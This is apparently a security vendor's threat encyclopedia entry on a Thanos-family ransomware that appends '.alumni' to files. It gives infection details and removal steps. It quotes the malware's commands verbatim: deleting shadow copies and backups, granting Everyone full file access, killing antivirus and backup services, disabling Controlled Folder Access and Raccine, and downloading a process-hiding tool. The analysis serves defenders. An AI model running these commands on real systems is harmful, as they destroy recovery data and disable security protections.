Analysis by: Maria Emreen Viray

ALIASES:

HEUR:Trojan-PSW.MSIL.Reline.vho (KAPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It deletes registry keys related to antivirus programs. Doing this allows this malware to execute its routines without being detected by installed antivirus programs.

It drops files as ransom note.

  TECHNICAL DETAILS

File Size: 2,295,296 bytes
File Type: EXE
File Compression: Themida
Memory Resident: Yes
Initial Samples Received Date: 19 Feb 2021
Payload: Displays message/message boxes, Deletes files, Encrypts files

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following files:

  • %User Startup%\mystartup.lnk → points to %User Temp%\HOW_TO_RECOVER_YOUR_FILES.txt (Ransom Note)

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "%System%\notepad.exe" %Desktop%\HOW_TO_RECOVER_YOUR_FILES.txt
  • "icacls" "Z:*" /grant Everyone:F /T /C /Q
  • "icacls" "D:*" /grant Everyone:F /T /C /Q
  • "icacls" "C:*" /grant Everyone:F /T /C /Q
  • "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM thebat.exe /F
  • "taskkill.exe" /IM steam.exe /F
  • "taskkill.exe" /IM agntsvc.exe /F
  • "taskkill.exe" /IM xfssvccon.exe /F
  • "taskkill.exe" IM thunderbird.exe /F
  • "taskkill.exe" /IM dbsnmp.exe /F
  • "taskkill.exe" /IM zoolz.exe /F
  • "taskkill.exe" /IM infopath.exe /F
  • "taskkill.exe" /IM mbamtray.exe /F
  • "taskkill.exe" /IM thebat64.exe /F
  • "taskkill.exe" /IM ocomm.exe /F
  • "taskkill.exe" /IM dbeng50.exe /F
  • "taskkill.exe" /IM sqlwriter.exe /F
  • "taskkill.exe" /IM tbirdconfig.exe /F
  • "taskkill.exe" /IM excel.exe /F
  • "taskkill.exe" /IM CNTAoSMgr.exe /F
  • "taskkill.exe" /IM sqlservr.exe /F
  • "taskkill.exe" /IM encsvc.exe /F
  • "taskkill.exe" /IM sqlbrowser.exe /F
  • "taskkill.exe" /IM oracle.exe /F
  • "taskkill.exe" /IM sqlagent.exe /F
  • "taskkill.exe" /IM ocautoupds.exe /F
  • "taskkill.exe" /IM ocssd.exe /F
  • "taskkill.exe" /IM mysqld-opt.exe /F
  • "taskkill.exe" /IM mysqld-nt.exe /F
  • "taskkill.exe" /IM wordpad.exe /F
  • "taskkill.exe" /IM mydesktopservice.exe /F
  • "taskkill.exe" /IM winword.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM visio.exe /F
  • "taskkill.exe" /IM powerpnt.exe /F
  • "taskkill.exe" /IM tmlisten.exe /F
  • "taskkill.exe" /IM msftesql.exe /F
  • "taskkill.exe" /IM outlook.exe /F
  • "taskkill.exe" /IM msaccess.exe /F
  • "taskkill.exe" /IM onenote.exe /F
  • "taskkill.exe" /IM PccNTMon.exe /F
  • "taskkill.exe" /IM Ntrtscan.exe /F
  • "taskkill.exe" /IM isqlplussvc.exe /F
  • "taskkill.exe" /IM mydesktopqos.exe /F
  • "taskkill.exe" /IM firefoxconfig.exe /F
  • "taskkill.exe" /IM sqbcoreservice.exe /F
  • "taskkill.exe" /IM mspub.exe /F
  • "taskkill.exe" /IM synctime.exe /F
  • "taskkill.exe" /IM mysqld.exe /F
  • "taskkill.exe" /IM mspub.exe /F
  • "net.exe" stop TrueKeyScheduler /y
  • "net.exe" stop SQLTELEMETRY /y
  • "net.exe" stop SQLSERVERAGENT /y
  • "net.exe" stop SQLSafeOLRService /y
  • "net.exe" stop TrueKey /y
  • "net.exe" stop tmlisten /y
  • "net.exe" stop TmCCSF /y
  • "net.exe" stop SQLBrowser /y
  • "net.exe" stop SQLAgent$VEEAMSQL2012 /y
  • "net.exe" stop vapiendpoint /y
  • "net.exe" stop swi_update /y
  • "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  • "net.exe" stop swi_update_64 /y
  • "net.exe" stop mssql$vim_sqlexp /y
  • "net.exe" stop mfefire /y
  • "net.exe" stop SQLAgent$TPSAMA /y
  • "net.exe" stop OracleClientCache80 /y
  • "net.exe" stop WRSVC /y
  • "net.exe" stop swi_service /y
  • "net.exe" stop SQLTELEMETRY$ECWDB2 /y
  • "net.exe" stop VeeamTransportSvc /y
  • "net.exe" stop SQLAgent$TPS /y
  • "net.exe" stop TrueKeyServiceHelper /y
  • "net.exe" stop McTaskManager /y
  • "net.exe" stop swi_filter /y
  • "net.exe" stop SstpSvc /y
  • "net.exe" stop MySQL80 /y
  • "net.exe" stop SQLAgent$SYSTEM_BGC /y
  • "net.exe" stop svcGenericHost /y
  • "net.exe" stop SQLAgent$SOPHOS /y
  • "net.exe" stop SQLAgent$SQLEXPRESS /y
  • "net.exe" stop SQLAgent$SQL_2008 /y
  • "net.exe" stop sophossps /y
  • "net.exe" stop SQLAgent$SHAREPOINT /y
  • "net.exe" stop SntpService /y
  • "net.exe" stop SQLAgent$SBSMONITORING /y
  • "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  • "net.exe" stop SmcService /y
  • "net.exe" stop Smcinst /y
  • "net.exe" stop SQLAgent$PROD /y
  • "net.exe" stop SQLAgent$PRACTTICEMGT /y
  • "net.exe" stop ShMonitor /y
  • "net.exe" stop SQLAgent$PRACTTICEBGC /y
  • "net.exe" stop SepMasterService /y
  • "net.exe" stop SAVService /y
  • "net.exe" stop SAVAdminService /y
  • "net.exe" stop SQLAgent$ECWDB2 /y
  • "net.exe" stop SQLAgent$CXDB /y
  • "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  • "net.exe" stop sacsvr /y
  • "net.exe" stop MSSQL$SOPHOS /y
  • "net.exe" stop sms_site_sql_backup /y
  • "net.exe" stop SQLAgent$BKUPEXEC /y
  • "net.exe" stop RESvc /y
  • "net.exe" stop mfevtp /y
  • "net.exe" stop wbengine /y
  • "net.exe" stop ReportServer$SQL_2008 /y
  • "net.exe" stop mfemms /y
  • "net.exe" stop wbengine /y
  • "net.exe" stop DCAgent /y
  • "net.exe" stop MSSQL$SHAREPOINT /y
  • "net.exe" stop BackupExecVSSProvider /y
  • "net.exe" stop MSSQL$ECWDB2 /y
  • "net.exe" stop audioendpointbuilder /y
  • "net.exe" stop “Sophos Safestore Service” /y
  • "net.exe" stop BackupExecAgentBrowser /y
  • "net.exe" stop MSSQL$PRACTICEMGT /y
  • "net.exe" stop “Sophos System Protection Service” /y
  • "net.exe" stop BackupExecDeviceMediaService /y
  • "net.exe" stop MSSQL$PRACTTICEBGC /y
  • "net.exe" stop “Sophos Web Control Service” /y
  • "net.exe" stop BackupExecJobEngine /y
  • "net.exe" stop MSSQL$PROD /y
  • "net.exe" stop AcronisAgent /y
  • "net.exe" stop BackupExecManagementService /y
  • "net.exe" stop MSSQL$PROFXENGAGEMENT /y
  • "net.exe" stop Antivirus /y
  • "net.exe" stop BackupExecRPCService /y
  • "net.exe" stop MSSQL$SBSMONITORING /
  • "net.exe" stop MSSQL$SBSMONITORING /y
  • "net.exe" stop AVP /y
  • "net.exe" stop msftesql$PROD /y
  • "net.exe" stop VeeamRESTSvc /y
  • "net.exe" stop BackupExecAgentAccelerator /y
  • "net.exe" stop “SQLsafe Filter Service” /y
  • "net.exe" stop McShield /y
  • "net.exe" stop “Sophos Message Router” /y
  • "net.exe" stop unistoresvc_1af40a /y
  • "net.exe" stop MSSQL$BKUPEXEC /y
  • "net.exe" stop “Sophos MCS Client” /y
  • "net.exe" stop ARSM /y
  • "net.exe" stop msexchangeimap4 /y
  • "net.exe" stop MSOLAP$TPSAMA /y
  • "net.exe" stop “intel(r) proset monitoring service” /y
  • "net.exe" stop “Sophos MCS Agent” /y
  • "net.exe" stop AcrSch2Svc /y
  • "net.exe" stop msexchangeadtopology /y
  • "net.exe" stop MSOLAP$TPS /y
  • "net.exe" stop “aphidmonitorservice” /y
  • "net.exe" stop ReportServer$TPSAMA /y
  • "net.exe" stop “Zoolz 2 Service” /y
  • "net.exe" stop “Sophos Health Service” /y
  • "net.exe" stop W3Svc /y
  • "net.exe" stop MSExchangeSRS /y
  • "net.exe" stop MSOLAP$SYSTEM_BGC /y
  • "net.exe" stop “Veeam Backup Catalog Data Service” /y
  • "net.exe" stop ReportServer$TPS /y
  • "net.exe" stop “Sophos File Scanner Service” /y
  • "net.exe" stop MSExchangeSA /y
  • "net.exe" stop UI0Detect /y
  • "net.exe" stop MSOLAP$SQL_2008 /y
  • "net.exe" stop “Symantec System Recovery” /y
  • "net.exe" stop ReportServer$SYSTEM_BGC /y
  • "net.exe" stop “Sophos Device Control Service” /y
  • "net.exe" stop ReportServer$SQL_2008 /y
  • "net.exe" stop MySQL57 /y
  • "net.exe" stop MSExchangeMTA /y
  • "net.exe" stop SMTPSvc /y
  • "net.exe" stop VeeamNFSSvc /y
  • "net.exe" start upnphost /y
  • "net.exe" stop MsDtsServer /y
  • "net.exe" stop IISAdmin /y
  • "net.exe" stop MSExchangeES /y
  • "net.exe" stop “Sophos Agent” /y
  • "net.exe" stop EraserSvc11710 /y
  • "net.exe" stop “Enterprise Client Service” /y
  • "net.exe" stop “SQL Backups /y
  • "net.exe" stop MsDtsServer100 /y
  • "net.exe" stop NetMsmqActivator /y
  • "net.exe" stop MSExchangeIS /y
  • "net.exe" stop “Sophos AutoUpdate Service” /y
  • "net.exe" stop SamSs /y
  • "net.exe" stop ReportServer /y
  • "net.exe" stop “SQLsafe Backup Service” /y
  • "net.exe" stop MsDtsServer110 /y
  • "net.exe" stop POP3Svc /y
  • "net.exe" stop MSExchangeMGMT /y
  • "net.exe" stop “Sophos Clean Service” /y
  • "net.exe" stop zhudongfangyu /y
  • "net.exe" stop stc_raw_agent /y
  • "net.exe" stop VSNAPVSS /y
  • "net.exe" stop VeeamTransportSvc /y
  • "net.exe" stop VeeamDeploymentService /y
  • "net.exe" stop VeeamNFSSvc /y
  • "net.exe" stop veeam /y
  • "net.exe" stop PDVFSService /y
  • "net.exe" stop BackupExecVSSProvider /y
  • "net.exe" stop BackupExecAgentAccelerator /y
  • "net.exe" stop BackupExecAgentBrowser /y
  • "net.exe" stop BackupExecDiveciMediaService /y
  • "net.exe" stop BackupExecJobEngine /y
  • "net.exe" stop BackupExecManagementService /y
  • "net.exe" stop BackupExecRPCService /y
  • "net.exe" stop AcrSch2Svc /y
  • "net.exe" stop AcronisAgent /y
  • "net.exe" stop CASAD2DWebSvc /y
  • "net.exe" stop CAARCUpdateSvc /y
  • "net.exe" stop sophos /y
  • "net.exe" stop “Acronis VSS Provider” /y
  • "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  • "net.exe" start FDResPub /y
  • "net.exe" start SSDPSRV /y
  • "net.exe" stop avpsus /y
  • "net.exe" stop McAfeeDLPAgentService /y
  • "net.exe" stop mfewc /y
  • "net.exe" stop BMR Boot Service /y
  • "net.exe" stop NetBackup BMR MTFTP Service /y
  • "net.exe" stop DefWatch /y
  • "net.exe" stop ccEvtMgr /y
  • "net.exe" stop ccSetMgr /y
  • "net.exe" stop SavRoam /y
  • "net.exe" stop RTVscan /y
  • "net.exe" stop QBFCService /y
  • "net.exe" stop QBIDPService /y
  • "net.exe" stop Intuit.QuickBooks.FCS /y
  • "net.exe" stop QBCFMonitorService /y
  • "net.exe" stop YooBackup /y
  • "net.exe" stop YooIT /y
  • "net.exe" stop MSSQLServerOLAPService /y
  • "net.exe" stop VeeamMountSvc /y
  • "net.exe" stop McAfeeFramework /y
  • "net.exe" stop MSSQLServerADHelper100 /y
  • "net.exe" stop McAfeeEngineService /y
  • "net.exe" stop VeeamHvIntegrationSvc /y
  • "net.exe" stop MSSQLServerADHelper /y
  • "net.exe" stop MBEndpointAgent /y
  • "net.exe" stop VeeamEnterpriseManagerSvc /y
  • "net.exe" stop VeeamDeploySvc /y
  • "net.exe" stop MSSQLSERVER /y
  • "net.exe" stop MBAMService /y
  • "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  • "net.exe" stop masvc /y
  • "net.exe" stop VeeamDeploymentService /y
  • "net.exe" stop MSSQLFDLauncher$TPS /y
  • "net.exe" stop macmnsvc /y
  • "net.exe" stop VeeamCloudSvc /y
  • "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  • "net.exe" stop VeeamCatalogSvc /y
  • "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  • "net.exe" stop klnagent /y
  • "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  • "net.exe" stop kavfsslp /y
  • "net.exe" stop VeeamBrokerSvc /y
  • "net.exe" stop KAVFSGT /y
  • "net.exe" stop VeeamBackupSvc /y
  • "net.exe" stop SQLWriter /y
  • "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  • "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  • "net.exe" stop KAVFS /y
  • "net.exe" stop FA_Scheduler /y
  • "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  • "net.exe" stop SDRSVC /y
  • "net.exe" stop MSSQL$VEEAMSQL2012 /y
  • "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  • "net.exe" stop ESHASRV /y
  • "net.exe" stop PDVFSService /y
  • "net.exe" stop EsgShKernel /y
  • "net.exe" stop MSSQL$TPSAMA /y
  • "net.exe" stop ntrtscan /y
  • "net.exe" stop EPUpdateService /y
  • "net.exe" stop MSSQL$TPS /y
  • "net.exe" stop EPSecurityService /y
  • "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  • "net.exe" stop MSSQL$SYSTEM_BGC /y
  • "net.exe" stop ekrn /y
  • "net.exe" stop mozyprobackup /y
  • "net.exe" stop MMS /y
  • "net.exe" stop MSSQL$SQLEXPRESS /y
  • "net.exe" stop EhttpSrv /y
  • "net.exe" stop bedbg /y
  • "net.exe" stop MSSQL$SQL_2008 /y
  • "net.exe" start Dnscache /y
  • "sc.exe" config SSDPSRV start= auto
  • "sc.exe" config FDResPub start= auto
  • "sc.exe" config upnphost start= auto
  • "sc.exe" config SstpSvc start= disabled
  • "sc.exe" config SQLWriter start= disabled
  • "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  • "sc.exe" config SQLTELEMETRY start= disabled
  • "sc.exe" config Dnscache start= auto
  • "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  • "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  • "cmd.exe" /c rd /s /q D:\$Recycle.bin
  • "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  • "cmd.exe" /c rd /s /q %%SYSTEMDRIVE%%\$Recycle.bin
  • "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  • "reg" delete HKCU\Software\Raccine /F
  • "taskkill" /F /IM RaccineSettings.exe
  • powershell.exe Set-MpPreference -EnableControlledFolderAccess Disable

(Note: %Desktop% is the current user's desktop, which is usually C:\Documents and Settings\{User Name}\Desktop on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\Desktop on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\a61e092f-af60-4971-9606-2414b1d0e04b

It terminates itself if it finds the following processes in the affected system's memory:

  • http analyzer stand-alone
  • fiddler
  • effetech http sniffer
  • firesheep
  • IEWatch Professional
  • dumpcap
  • wireshark
  • wireshark portable
  • sysinternals tcpview
  • NetworkMiner
  • NetworkTrafficView
  • HTTPNetworkSniffer
  • tcpdump
  • intercepter
  • Intercepter-NG
  • ollydbg
  • x64dbg
  • x32dbg
  • dnspy
  • dnspy-x86
  • de4dot
  • ilspy
  • dotpeek
  • dotpeek64
  • ida64
  • RDG Packer Detector
  • CFF Explorer
  • PEiD
  • protection_id
  • LordPE
  • pe-sieve
  • MegaDumper
  • UnConfuserEx
  • Universal_Fixer
  • NoFuserEx

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Winlogon
LegalNoticeText = {Text from Ransom Note}

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticecaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
legalnoticetext = {Text from Ransom Note}

It deletes the following registry keys related to antivirus and security applications:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\EventLog\Application
Raccine =

HKEY_LOCAL_MACHINE\SOFTWARE
Raccine =

HKEY_CURRENT_USER\SOFTWARE
Raccine =

Other Details

This Ransomware encrypts files with the following extensions:

  • .txt
  • .jpeg
  • .gif
  • .jpg
  • .png
  • .php
  • .cs
  • .cpp
  • .rar
  • .zip
  • .html
  • .htm
  • .xls
  • .avi
  • .mp4
  • .ppt
  • .doc
  • .sxi
  • .sxw
  • .odt
  • .hwp
  • .tar
  • .bz2
  • .mkv
  • .eml
  • .msg
  • .ost
  • .pst
  • .edb
  • .sql
  • .accdb
  • .mdb
  • .dbf
  • .odb
  • .myd
  • .java
  • .pas
  • .asm
  • .key
  • .pfx
  • .pem
  • .p12
  • .csr
  • .gpg
  • .aes
  • .vsd
  • .odg
  • .raw
  • .nef
  • .svg
  • .psd
  • .vmx
  • .vmdk
  • .vdi
  • .lay6
  • .sqlite3
  • .sqlitedb
  • .class
  • .mpeg
  • .djvu
  • .tiff
  • .backup
  • .cert
  • .docm
  • .xlsm
  • .dwg
  • .bak
  • .qbw
  • .nd
  • .tlg
  • .lgb
  • .pptx
  • .mov
  • .xdw
  • .ods
  • .wav
  • .mp3
  • .aiff
  • .flac
  • .m4a
  • .ora
  • .mdf
  • .ldf
  • .ndf
  • .dtsx
  • .rdl
  • .dim
  • .mrimg
  • .qbb
  • .rtf
  • .7z

It does the following:

  • encrypts all available drives except for CDROMs
  • empties recycle bin using the following commands:
    • "cmd.exe" /c rd /s /q D:\$Recycle.bin
    • "cmd.exe" /c rd /s /q %%SYSTEMDRIVE%%\$Recycle.bin
  • Terminates and deletes itself using the following commands:
    • cmd.exe /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
    • cmd.exe /C choice /C Y /N /D Y /T 3 & Del
  • deletes the following subkeys under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options:
    • vssadmin.exe
    • wmic.exe
    • wbadmin.exe
    • bcdedit.exe
    • powershell.exe
    • diskshadow.exe
    • net.exe
  • displays the following tooltip notification:
  • attempts to hide itself from specific monitoring tools by doing the following:
    • downloads ProcessHide32/64 binary to %User Temp%\{random}.exe (deletes after use) from the following URLs:
      • https://raw.{BLOCKED}usercontent.com/d35ha/ProcessHide/master/bins/ProcessHide64.exe
      • https://raw.{BLOCKED}usercontent.com/d35ha/ProcessHide/master/bins/ProcessHide32.exe
    • checks if the following monitoring processes containing the following strings are running:
      • Taskmgr
      • taskmgr
      • ProcessHacker
      • procexp
    • executes ProcessHide32/64 with the following parameters:
      • {PID of checked process} {full file path + name of malware} [" *32"]
  • terminates large running processes taking up memory if the following strings are not found in the process name:
    • {malware name}.exe
    • chrome
    • opera
    • msedge
    • iexplore
    • firefox
    • explorer
    • wininit
    • winlogon
    • SearchApp
    • SearchIndexer
    • SearchUI
  • if infected system is in Windows XP, creates the following processes to delete shadow copies:
    • vssadmin.exe Delete Shadows /all /quiet
    • vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=c: /on=c: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=d: /on=d: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=e: /on=e: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=f: /on=f: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=g: /on=g: /maxsize=unbounded
    • vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=401MB
    • vssadmin.exe resize shadowstorage /for=h: /on=h: /maxsize=unbounded
    • vssadmin.exe Delete Shadows /all /quiet
  • attempts to delete backup files using the following processes:
    • del.exe /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
    • del.exe /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
    • del.exe /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
    • del.exe /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
    • del.exe /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk

Ransomware Routine

This Ransomware avoids encrypting files with the following strings in their file name:

  • autoexec.bat
  • desktop.ini
  • autorun.inf
  • ntuser.dat
  • NTUSER.DAT
  • iconcache.db
  • bootsect.bak
  • boot.ini
  • ntuser.dat.log
  • thumbs.db
  • bootmgr
  • pagefile.sys
  • config.sys
  • ntuser.ini
  • Builder_Log
  • RSAKeys
  • HOW_TO_RECOVER_YOUR_FILES → Ransom Note
  • .alumni
  • .exe
  • .dll
  • .EXE
  • .DLL
  • Recycle.Bin
  • mystartup.lnk
  • UserName={Username}_MachineName={Computer Name}_{Volume Serial Number + ProcessorID}.txt

It avoids encrypting files with the following strings in their file path:

  • program files
  • :\windows
  • perflogs
  • internet explorer
  • :\programdata
  • appdata
  • msocache
  • system volume information
  • boot
  • tor browser
  • mozilla
  • google chrome
  • application data

It appends the following extension to the file name of the encrypted files:

  • .alumni

It drops the following file(s) as ransom note:

  • %User Temp%\HOW_TO_RECOVER_YOUR_FILES.txt
  • %Desktop%\HOW_TO_RECOVER_YOUR_FILES.txt
  • {encrypted directory}\HOW_TO_RECOVER_YOUR_FILES.txt

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.568.03
FIRST VSAPI PATTERN DATE: 01 Mar 2021
VSAPI OPR PATTERN File: 16.569.00
VSAPI OPR PATTERN Date: 02 Mar 2021

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Troj.Win32.TRX.XXPE50FFF041

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows NT\CurrentVersion\Winlogon
  • In LegalNoticeCaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.
    • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
  • In Windows NT\CurrentVersion\Winlogon
    • LegalNoticeText = {Text from Ransom Note}
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows\CurrentVersion\Policies\
  • In System
    • legalnoticecaption = YOUR FILES IN SAFELY LOCKED AND YOUR PASSWORD WAS CHANGED by Alumni AFTER THE PAYMENT PLEASE CONTACT WITH US ASAP.
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
    • Windows\CurrentVersion\Policies\
  • In System
    • legalnoticetext = {Text from Ransom Note}

Step 6

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\HOW_TO_RECOVER_YOUR_FILES.txt
  • %Desktop%\HOW_TO_RECOVER_YOUR_FILES.txt
  • {encrypted directory}\HOW_TO_RECOVER_YOUR_FILES.txt
  • %User Startup%\mystartup.lnk

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Ransom.MSIL.THANOS.THBAIBA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Restore encrypted files from backup.


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